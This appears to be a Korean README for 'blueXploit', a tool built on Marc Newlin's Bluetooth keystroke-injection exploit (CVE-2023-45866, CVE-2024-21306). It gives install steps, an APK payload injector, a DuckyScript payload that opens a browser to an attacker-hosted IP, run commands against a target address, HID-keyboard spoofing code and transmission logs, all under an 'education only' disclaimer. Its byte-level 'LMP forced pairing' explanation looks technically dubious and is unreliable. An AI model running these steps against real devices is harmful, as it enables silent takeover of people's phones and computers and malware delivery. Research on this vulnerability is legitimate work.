
Bluetooth 치명적 취약점(CVE-2023-45866, CVE-2024-21306) 기반 익스플로잇

귀속 표기. 취약점과 원본 익스플로잇은 Marc Newlin의 작업입니다 (hi_my_name_is_keyboard) — 저는 발견을 주장하지 않습니다. 이 저장소는 해당 버그를 이해하고 문서화하기 위해 만들어진 재현물이며, 그 위에 blueXploit는 DuckyScript 스타일의 페이로드 실행기, 재연결/재시도 메커니즘, 그리고 선택적인 Android APK 주입 도우미를 추가합니다. 여기의 모든 것은 교육 및 연구 목적으로만 제공됩니다.
이러한 심각한 취약점(CVE-2023-45866, CVE-2024-21306)은 공격자가 사용자 확인 없이 키 입력을 주입하고 페어링 요청을 수락할 수 있게 합니다. 이는 여러 운영 체제의 보안에 치명적인 영향을 미칩니다.
Marc Newlin의 원본 익스플로잇 기반.
의존성 설치
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
blueXploit는 Android 기기의 취약점을 악용하는 도구를 포함하며, 두 가지 주요 구성 요소와 injector 폴더에 있는 apkpwn_injector라는 추가 프로그램을 제공합니다.
.apk 애플리케이션에 주입합니다.이러한 기능은 통제된 환경이나 침투 테스트에서 효율적이고 간소화된 공격 흐름을 가능하게 합니다.

cd injector
python3 apkpwn_injector.py
blueXploit가 실행하는 주요 명령은 /injector/payloads/ 폴더에서 .txt 형식으로 로드되며, 구문은 간단하고 이해하기 쉽습니다.
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
서버가 호스팅되는 주소로 IP 주소를 변경하세요.
기기 감지 및 열거
bluetoothctl
Bluetooth 기기 스캔
scan on
실행
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
그런 다음 필요하고 사전에 구성된 페이로드를 선택하세요.
전체 데모는 이 동영상에 있습니다.
이 취약점은 Bluetooth 프로토콜의 낮은 수준에서 악용되며, 주로 HID 프로필과 L2CAP 프로토콜을 조작하여 피해자 기기에 키 입력을 주입합니다.
Bluetooth 스택에는 링크 매니저 프로토콜(LMP), 호스트 컨트롤러 인터페이스(HCI), L2CAP 등의 여러 계층이 있습니다. 이 공격은 주로 마지막 두 가지를 사용합니다:
HCI: 어댑터 구성이 조작되어 합법적인 HID 기기로 위장합니다.
L2CAP: 기기 간 데이터를 다중화하는 역할을 하며, HID 통신을 위해 채널 17(HID Control)과 채널 19(HID Interrupt)를 사용합니다. 이를 악용하여 키 시퀀스를 보낼 수 있습니다.
CVE-2023-45866는 링크 매니저 프로토콜(LMP)의 취약점으로, "강제 페어링" 공격을 통해 악용됩니다. 기술적으로 수행되는 방식은 다음과 같습니다:
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
이 데이터 프레임에서:
0x01: LMP 페어링 요청0x01: LMP 인증 요청(PIN)0x00 0x00 0x00 0x00: 일반적으로 0000인 취약한 PIN 정보여기서 익스플로잇은 이 패킷에 대한 구성 및 인증 부재를 이용하며, 결국 다음과 같은 응답이 반환됩니다:
LMP Accept: 0x02 0x00 0x00 0x00 0x00
이 데이터 프레임에서:
0x02: LMP 페어링 요청 수락됨0x00 0x00 0x00 0x00: 반환된 손상된 PIN 정보키가 올바르게 검증되지 않으면 연결은 설정되지만 실제 페어링 없이 이루어지므로 다음과 같이 강제 페어링 LMP 패킷을 보낼 수 있습니다:
LMP Forced Pairing: 0x03 0x01 0x0000
그런 다음 이전에 유출된 키(예: "0000")를 사용하여 인증을 강제할 수 있고, 적절한 검증 과정을 거치지 않고 기기를 페어링하면서 암호화된 통신 채널이 설정될 수 있습니다.
이로 인해 사용자가 모르는 사이에 페어링이 이루어지며, 페어링 창이나 알림조차 없이 발생합니다.
이 CVE의 결함은 특정 기기가 LMP 인증 요청을 제대로 검증하지 않거나 이전 키를 재사용한다는 점입니다.
일단 기기와 페어링되면 — bang! — 나머지는 쉽습니다. blueXploit.py에서 어댑터와 기기는 식별 데이터로 작동하고 위장합니다. 이 경우 다음과 같은 명령이 실행됩니다:
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # HID class (keyboard)
blueXploit 코드
# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
HID 바이트 프레임 설명:
:a10100001e000000000000
a1: HID 보고서 유형 지정01: 수신 데이터에 대한 HID 인터페이스 사용 지정00: 키 누름 또는 키 해제00 1e 00 00 00 00: 16진수 값으로, 1e는 문자 a에 해당합니다그런 다음 전송이 성공적으로 수신되었음을 확인하는 ACK가 수신됩니다.
경고: 이 저장소에 설명된 자료와 기술은 엄격히 교육 및 연구 목적으로만 제공됩니다. 침투 및 익스플로잇 도구는 명시적 허가를 받은 시스템에서만 사용해야 합니다. 소유하지 않은 시스템에서 이러한 기술을 무단 사용하는 것은 금지되어 있으며 많은 관할권에서 불법입니다. 이 콘텐츠의 부적절한 사용으로 인한 손해나 부정적 영향은 전적으로 사용자의 책임입니다.
사용자는 테스트 랩과 같은 통제된 환경에서 작업하고 정보 보안 및 윤리적 해킹과 관련된 모든 현지 법률과 규정을 준수할 것을 권장합니다. 즐거운 해킹 되세요 :D